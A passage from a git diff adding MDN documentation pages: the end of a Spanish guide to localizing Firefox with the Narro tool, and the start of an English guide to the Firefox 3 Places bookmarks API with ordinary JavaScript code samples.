font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Texts </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">y</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> Options. </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">En la sección </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Texts </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">verás la localización por defecto con los archivos fuente actualizados cada noche por tu proyecto. Asegurate de que las casillas de verificación en </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Options </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">están destiqueadas para esta importación.</span></li> <li>C<span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">lic en el botón </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Import. </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">El </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Operation log </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">mostrará un mensaje una vez que la importación haya sido completada satisfactoriamente.</span></li>
+</ol>
+<p><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">En la imágen de abajo es lo que deberás ver cuando se complete la importación.</span></p>
+<p><a href="/@api/deki/files/5828/=Import.png"><img alt="" class="internal default" src="/@api/deki/files/5828/=Import.png" style="width: 984px; height: 532px;"></a></p>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">¡¡Ahora ya estás listo para comenzar a traducir tu proyecto!!</span></p>
+<p> </p>
+<h2 id="Traducción">Traducción</h2>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Con la nueva localización entablecida en Narro, tu puedes ahora iniciar la traducción en linea. Una forma rápida de iniciar es hacer clic en la pestaña </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Translate </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">y te llevará a una pantalla con un conjunto de contenido sin traducir. Las nuevas importaciones de Firefox Aurora (como Firefox 7) contiene 5,671 cadenas en Inglés.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Irónicamente, la primera vez que comienzas a traducir podrás ver las primeras entradas algunos de los archivos </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">region.properties </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">ese archivo </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: italic; font-variant: normal; text-decoration: none; vertical-align: baseline;">no debe ser traducido</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> usando Narro. Encontrarás algunas de esas entradas a medida que avanza en la traducción. Una buena guía para ayudarte a distinguir entre las cadenas traducibles y lo no-traducibles es ver si la cadena puede ser categorizada como uno de los siguientes:</span></p>
+<ul> <li><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Si es el nombre de un producto, no se traduce.</span></li> <li>C<span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">ualquier cadena con código puro (ej. %s), no se traduce.</span></li>
+</ul>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Cualquier cadena que no caiga dentro de esas dos categorias es traducible. Avanzar con las cadenas traducibles para iniciar la traducción.</span></p>
+<p><a href="/@api/deki/files/5832/=Texts.png"><img alt="" class="internal default" src="/@api/deki/files/5832/=Texts.png" style="width: 1106px; height: 608px;"></a></p>
+<p><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para el ejemplo de este documento empezaremos a buscar las cadenas de dos diferentes tipos de archivos (los archivos DTD y archivos property). Vamos a hacer cambios a las cadenas de modo que podrás ver el cambio en la interfaz de usuario.</span></p>
+<h3 id="Ejemplo_1_Los_archivos_DTD_searchbar.dtd">Ejemplo 1: Los archivos DTD, "searchbar.dtd"</h3>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Narro te permite buscar cadenas en particular. Para este ejemplo buscaremos el archivo DTD (a menudo se llama una entidad) llamado </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">searchbar.dtd </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">que contiene la cadena </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Manage Search Engines... </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Tu puedes </span><span style="font-size: 12pt; font-family: Arial; color: #333333; background-color: #f5f5f5; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">encontrar fácilmente esta cadena en la interfaz de usuario del navegador al hacer clic en el menú desplegable en el cuadro de búsqueda en la esquina superior derecha de tu navegador. Echa un vistazo a la imagen de abajo. En la parte inferior de la lista de botones de búsqueda que aparece podrás ver </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Manage Search Engines...</span></p>
+<p><a href="/@api/deki/files/5837/=Add_%25252525S.png"><img alt="" class="internal default" src="/@api/deki/files/5837/=Add_%25252525S.png"></a></p>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Así es como podrás usar Narro para traducir el elemento </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Manage Search Engines...</span></p>
+<p dir="ltr" style="text-indent: 36pt; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">1. Navega en la pestaña </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Translate </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">dentro del proyecto Firefox Aurora.</span></p>
+<p dir="ltr" style="text-indent: 36pt; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">2. Ingresa la cadena “Manage Search Engines... ” en el campo </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Search for</span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> y da clic en </span><span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Search.</span></p>
+<p><br> <span style="font-size: 11pt; font-family: Arial; color: #333333; background-color: #ffffff; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Después de ingresar en la cadena y haciendo clic en “Search”, Narro te muestra la cadena que estabas buscando.</span></p>
+<p><a href="/@api/deki/files/5833/=Manage_Search_Engines.png"><img alt="" class="internal default" src="/@api/deki/files/5833/=Manage_Search_Engines.png" style="width: 1109px; height: 250px;"></a></p>
+<p style="margin-left: 40px;"><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">3. Clic en el cuadro de texto debajo del resultado de búsqueda. Esto ampliará el cuadro de texto y lo resaltará en verde para mostrar el registro activo.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">4. Entra en la traducción y presiona el botón save.</span></p>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">En el ejemplo de abajo verás el elemento  </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Manage Search Engines... </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">que ha sido traducido a </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">MANAGE SEARCH ENGINES</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">.</span><br> <br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Verás también debajo del ícono de guardado que existen dos cadenas adicionales. Estos son mostrados desde una traducción anterior y desde otras traducciones que miembros de tu comunidad pueden haber proporcionado. Los botones verdes y rojos a la derecha te permiten aprobar o eliminar una traducción de la entrada activa. Una traducción aprobada es introducida en la memoria de traducción. No recomendamos aprobar traducciones hasta que estén en su estado final. Para nuestro ejemplo guardas la cadena haciendo clic en el ícono de guardado verde que está a la derecha.</span></p>
+<p><a href="/@api/deki/files/5831/=approved_translation.png"><img alt="" class="internal default" src="/@api/deki/files/5831/=approved_translation.png" style="width: 1109px; height: 345px;"></a></p>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">A medida que traduces estos tipos de archivos DTD, puedes exportar periódicamente un archivo .xpi (también conocido como paquete de idioma) que puedes instalar en Firefox. Hablaremos sobre como hacerlo en una sección posterior de este manual. La próxima vez que instales el paquete de idioma de prueba, verás la cadena  "MANAGE SEARCH ENGINES"  traducida en la interfaz de tu versión local de Firefox.</span></p>
+<h3 id="Ejemplo_2_Los_Archivos_Property_search.properties">Ejemplo 2: Los Archivos Property, "search.properties"</h3>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Los archivos Properties search.properties contienen la cadena </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Add %S. </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Puedes encontrar facilmente esta cadena en la interfaz del navegador visitando un sitio web que procea de un plugin de búsqueda (como </span><a href="../"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">http://developer.mozilla.org/</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">) y haciendo clic en el menú desplegable  en la caja de búsqueda en la esquina superior derecha del navegador. Dale un vistazo a la imagen de abajo. Ahí verás el </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Add %S, </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">donde </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">%S </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">es reemplazado por el nombre del sitio.</span></p>
+<p><a href="/@api/deki/files/5837/=Add_%25252525S.png"><img alt="" class="internal default" src="/@api/deki/files/5837/=Add_%25252525S.png"></a></p>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Traducir las cadenas de los archivos Property es exactamente lo mismo que traducir los archivos DTD. Pero este ejemplo en particular simplemente se refiere a los pasos del ejemplo uno, reemplazando la cadena  “Administar motores de búsqueda...” con el “Add %S” . Al igual que con el archivo DTD tu puedes exportar periodicamente un archivo .xpi que puedes instalar en Firefox para ver tus cadenas traducidas guardadas. </span></p>
+<h2 id="Exportando_un_paquete_de_idioma_.xpi">Exportando un paquete de idioma .xpi</h2>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Felicidades! ahora que ya has traducido y guardado varias cadenas, vamos a exportar esas cadenas traducidas para que veas tus traducciones en tu navegador Firefox Aurora.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">La utilidad de exportación en la pestaña </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Export </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">te dá algunas opciones diferentes para la exportación. Algunas opciones son para probar tus traducciones, otras son para que tu traducción final aprobadas que serán incorporadas en la próxima versión de Firefox. Para nuestro ejemplo, nos vamos a concentrar en exportar tu traducción paquete de idioma .xpi</span></p>
+<ol> <li><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Ir a la pestaña </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Export. </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">En la siguiente imágen se ilustra lo que verás cuando estés en esta pestaña</span> <p> </p> <p><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><a href="/@api/deki/files/5834/=export.png"><img alt="" class="internal default" src="/@api/deki/files/5834/=export.png" style="width: 1076px; height: 291px;"></a></span></p> </li> <li><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Seleccionar la opción </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Approved suggestion </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">del menú desplegable </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Export translations using</span></li> <li>C<span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">lic en el botón </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Export.</span></li> <li><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Una vez la barra de estado esté completa, verás que te aparecen los enlaces .zip, .html, y .xpi. Dale clic en el enlace .xpi para guardarlo en tu disco.</span></li>
+</ol>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">El paquete de idioma .xpi es construido cada vez que tu exportas tu traducción. Todas las cadenas no traducidas son exportadas en en-US  como parte de tu paquete de idioma. Esto te permitirá que vayas probando el progreso de tu trabajo sobre la marcha.</span><br> <br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Cuando exportas archivos, la estructura del código fuente de Mozilla se conserva. En cualquier momento durante la traducción, puedes exportar el paquete en-US.zip por si quieres ver la estructura del código fuente de Firefox de los archivos con cadenas en-US.</span></p>
+<div class="warning">Aviso: No usar el comando <code>hg push</code> ya que esto es sólo para pruebas locales.</div>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para saber como probar tu reciente paquete de idioma exportado, visita el tema </span><a href="../en/Create_a_new_localization#Testing_your_language_pack"><span style="font-size: 11pt; font-family: Courier New; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">Testing your language pack</span></a><span style="font-size: 11pt; font-family: Courier New; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">  </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">en la wiki de</span><a href="../en/Create_a_new_localization"><span style="font-size: 11pt; font-family: Courier New; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">Create a new localization</span></a></p>
+<p> </p>
+<h2 id="Exportación_Final">Exportación Final</h2>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Una vez que has completado tu traducción, </span><a class=" link-https" href="https://wiki.mozilla.org/L10n:Becoming_an_Official_Localization#Preparation"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">revísala y pruébala</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> y será el momento para hacer la exportación final (en formato .zip) para enviarlo a Mozilla. Para hacer esto envía un email a la </span><a class=" external" href="http://mailto:dev-l10n@lists.mozilla.org/"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">lista de correo dev-l10n </span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">o al administrador global de Narro pidiendo asistencia. </span></p>
+<div class="note">Por favor ten en cuenta que el Mozilla l10n-drivers ha producido el <a class=" link-https" href="https://l10n-stage-sj.mozilla.org/dashboard/"><span style="font-size: 12pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">l10n dashboard</span></a> para seguir el progreso de todas las localizaciones de Mozilla. Esto está basado en una poderosa herramienta llamada<a href="../en/Compare-locales"><span style="font-size: 12pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">Compare-Locales</span></a>. Si tu eliges utilizar Narro para tu localización, sé conciente de que narro invalida el dashboard de seguimiento de presición  del proyecto debido a la forma en que Narro maneja las cadenas y las exporta.</div>
diff --git a/files/es/lugares/guía_para_migración_con_lugares/index.html b/files/es/lugares/guía_para_migración_con_lugares/index.html
new file mode 100644
index 0000000000..1f093b487d
--- /dev/null
+++ b/files/es/lugares/guía_para_migración_con_lugares/index.html
@@ -0,0 +1,645 @@
+---
+title: Guía para migración con lugares
+slug: Lugares/Guía_para_migración_con_lugares
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Places/Places_Developer_Guide
+---
+<p> This document is for extension and application developers who want to use the bookmarks and history APIs in Firefox 3. It provides code samples for many common use-cases, such as CRUD operations, searching, and observing.</p>
+
+<h2 id="Overview" name="Overview">Overview</h2>
+
+<p><a href="/en-US/docs/Places" title="en/Places">Places</a> is the umbrella term for a set of APIs for managing browsing history and URI metadata first introduced in Firefox 3. It encompasses history, bookmarks, tags, favicons, and annotations. There are two models of identity in the system: URIs, and unique integer identifiers for items in the bookmark system. Some of the APIs are URI-centric, some use item ids. The API signature and context usually make clear which is required.</p>
+
+<h2 id="Bookmarks" name="Bookmarks">Bookmarks</h2>
+
+<p>The toolkit bookmarks service is <a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/public/nsINavBookmarksService.idl" rel="custom">nsINavBookmarksService</a>:</p>
+
+<pre class="brush: js">var bookmarks = Cc["@mozilla.org/browser/nav-bookmarks-service;1"]
+                .getService(Ci.nsINavBookmarksService);
+</pre>
+
+<p>This service provides methods for adding, editing and deleting items in the bookmarks collection.</p>
+
+<h3 id="Types" name="Types">Types in the Bookmark System</h3>
+
+<p>There are the four types of items in the bookmarks system, and their identifiers in the IDL:</p>
+
+<ul>
+ <li>Bookmark: nsINavBookmarksService.TYPE_BOOKMARK</li>
+ <li>Folder: nsINavBookmarksService.TYPE_FOLDER</li>
+ <li>Separator: nsINavBookmarksService.TYPE_SEPARATOR</li>
+ <li>Dynamic Container: nsINavBookmarksService.TYPE_DYNAMIC_CONTAINER</li>
+</ul>
+
+<h3 id="Identification" name="Identification">Identifying Items in the Bookmark System</h3>
+
+<p>Items in the bookmarks collection are identified by an id unique to the user's profile. Most of the APIs provided by the bookmarks service use an item's id to identify what to act on.</p>
+
+<p>The bookmarks datastore is hierarchical, modeling folders and their contents. The ids of several significant folders are made available as attributes of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarksService" title="">nsINavBookmarksService</a></code>.</p>
+
+<ul>
+ <li>nsINavBookmarksService.placesRoot - The root folder of hierarchy.</li>
+ <li>nsINavBookmarksService.bookmarksMenuFolder - The contents of this folder are visible in the Bookmarks menu.</li>
+ <li>nsINavBookmarksService.toolbarFolder - The contents of this folder are visible on the Bookmarks toolbar.</li>
+ <li>nsINavBookmarksService.unfiledBookmarksFolder - Items that have been "starred", but not places in any folder.</li>
+ <li>nsINavBookmarksService.tagsFolder - Subfolders of this folder are tags, and their children are URIs that have been tagged with that folder's name.</li>
+</ul>
+
+<h3 id="Other_Bookmarks_APIs" name="Other_Bookmarks_APIs">Other Bookmarks APIs</h3>
+
+<p>Note: This document covers the toolkit Places services. However, Firefox developers can take advantage of several helper APIs that are browser-specific:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Toolkit_API/FUEL" title="en/FUEL">FUEL</a> - A collection of wrapper APIs for easing access to a number of Firefox utilities and services</li>
+ <li><a href="https://dxr.mozilla.org/mozilla-central/source/browser/components/places/public/nsIPlacesTransactionsService.idl" rel="custom">nsIPlacesTransactionsService</a> - A Firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo</li>
+ <li><a href="/en-US/docs/Places_utilities_for_JavaScript" title="en/Places_utilities_for_JavaScript">Places utilities for JavaScript</a> - Accessors and helper functions for Firefox and extensions</li>
+</ul>
+
+<h3 id="Creating" name="Creating">Creating Bookmarks, Folders and Other Items</h3>
+
+<p>Creating a Bookmark</p>
+
+<pre class="brush: js">// create an nsIURI for the URL to be bookmarked.
+var bookmarkURI = Cc["@mozilla.org/network/io-service;1"]
+                  .getService(Ci.nsIIOService)
+                  .newURI("http://www.mozilla.com", null, null);
+
+var bookmarkId = bookmarks.insertBookmark(
+  bookmarks.toolbarFolder, // The id of the folder the bookmark will be placed in.
+  bookmarkURI,             // The URI of the bookmark - an nsIURI object.
+  bookmarks.DEFAULT_INDEX, // The position of the bookmark in its parent folder.
+  "my bookmark title");    // The title of the bookmark.
+</pre>
+
+<p>Creating a Folder</p>
+
+<pre class="brush: js">var folderId = bookmarks.createFolder(
+  bookmarks.toolbarFolder, // The id of the folder the new folder will be placed in.
+  "my folder title",       // The title of the new folder.
+  bookmarks.DEFAULT_INDEX);    // The position of the new folder in its parent folder.
+</pre>
+
+<p>Creating a Separator</p>
+
+<pre class="brush: js">var separatorId = bookmarks.insertSeparator(
+  bookmarks.toolbarFolder, // The id of the folder the separator will be placed in.
+  bookmarks.DEFAULT_INDEX);    // The position of the separator in its parent folder.
+</pre>
+
+<p>Creating a Livemark</p>
+
+<pre class="brush: js">var IOService = Cc["@mozilla.org/network/io-service;1"]
+                .getService(Ci.nsIIOService);
+
+var siteURI = IOService.newURI("http://www.mozilla.com", null, null);
+var feedURI = IOService.newURI("http://www.mozilla.org/news.rdf", null, null);
+
+var livemarks = Cc["@mozilla.org/browser/livemark-service;2"]
+                .getService(Ci.nsILivemarkService);
+
+livemarks.createLivemark(bookmarks.toolbarFolder, // The id of the folder the livemark will be placed in
+  "My Livemark Title",        // The title of the livemark
+  siteURI,                    // The URI of the site. A nsIURI object.
+  feedURI,                    // The URI of the actual feed. A nsIURI object.
+  bookmarks.DEFAULT_INDEX);   // The position of the livemark in its parent folder.
+</pre>
+
+<h3 id="Reading" name="Reading">Accessing Bookmarks and Related Items</h3>
+
+<h4 id="Item_Properties" name="Item_Properties">Accessing Item Properties</h4>
+
+<p>For all items:</p>
+
+<ul>
+ <li>String getItemTitle(aItemId) - Returns an item's title</li>
+ <li>Int64 getItemIndex(aItemId) - Returns an item's position in it's parent folder</li>
+ <li>PRTime getItemType(aItemId) - Returns the type of an item (bookmark, folder, separator)</li>
+ <li>PRTime getItemDateAdded(aItemId) - Returns the time in microseconds that an item was added</li>
+ <li>PRTime getItemLastModified(aItemId) - Returns the time in microseconds that an item was last modified</li>
+ <li>Int64 getFolderIdForItem(aItemId) - Returns the id of the folder containing the given item.</li>
